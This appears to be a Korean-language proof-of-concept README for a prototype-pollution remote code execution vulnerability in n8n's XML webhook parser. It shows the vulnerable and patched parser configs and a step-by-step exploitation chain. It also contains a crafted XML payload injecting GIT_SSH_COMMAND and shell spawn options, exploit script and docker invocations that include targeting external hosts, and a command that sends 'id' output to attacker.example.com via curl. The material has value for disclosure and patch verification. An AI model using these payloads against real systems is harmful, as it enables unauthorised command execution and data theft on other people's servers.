// packages/cli/src/middlewares/body-parser.ts  (취약 — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // 태그를 소문자로 변환 — 그러나 __proto__는 차단하지 않음
    explicitArray: false,
    // ← tagNameProcessors 없음
    // ← attrNameProcessors 없음
});

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

1. 공격자가 공개 Webhook 트리거에 XML POST를 전송:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js 본문 파서는 req.body.root를 생성하며 여기서 '__proto__'는
   자체 열거 가능한 데이터 속성입니다:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n의 deepCopy()는 for...in + hasOwnProp을 통해 자체 키를 반복합니다.
   clone['__proto__'] = deepCopy(attackerArray) 할당은
   [[Set]] 접근자를 통해 clone의 프로토타입을 조용히 대체합니다.

4. n8n은 실행 데이터를 DB에 직렬화합니다:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   __proto__ 키는 자체 속성이고 열거 가능하므로 포함됩니다.
   SQLite의 execution_data 테이블에서 확인됨.

5. 재로드 시 JSON.parse는 '__proto__'를 자체 데이터 속성으로 재생성합니다
   (일반 객체, 배열 래핑 없음).
      Object.assign(gitOptions, reloadedBody)
   gitOptions의 프로토타입을 공격자가 제어하는 객체로 리라우팅합니다.

6. Git 노드가 simpleGit(gitOptions)을 호출할 때:
      createInstanceConfig(gitOptions)
   프로토타입 체인을 통해 config.spawnOptions를 읽음 → truthy →
   spawnOptionsPlugin이 등록됩니다.
   env 객체에 GIT_SSH_COMMAND가 있으면 git은 다음 SSH 작업에서
   공격자의 명령을 실행합니다.

<env GIT_SSH_COMMAND="attacker_cmd"/>

chmod +x exploit.sh
./exploit.sh setup

./exploit.sh setup

[*] 취약한 n8n 이미지 가져오는 중 (1.123.22) ...
[*] 공격자 이미지 빌드 중 ...
[*] 취약한 n8n 대상 시작 중 ...
[*] n8n이 정상 상태가 될 때까지 대기 중 ...
[*] 웹훅 워크플로우 생성 중 (Webhook → Code 노드) ...
[+] 실습 환경 준비 완료.

    실행:  ./exploit.sh demo        # 오염 프리미티브 검증
          ./exploit.sh exploit     # 세 가지 RCE 페이로드 전달

./exploit.sh demo

[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

./exploit.sh exploit
# 또는 사용자 지정 명령 사용:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

pip install -r requirements.txt

# 검증만 — Git 노드 불필요:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# 전체 익스플로잇 — Webhook + Git/SSH 노드 워크플로우 필요:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

# 공격자 이미지 빌드
docker build -t n8n-proto-pollution-poc .

# 데모 모드 (공유 실습 네트워크에 연결)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# 전체 익스플로잇
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# 외부 대상 공격 (네트워크 플래그 불필요)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

./exploit.sh clean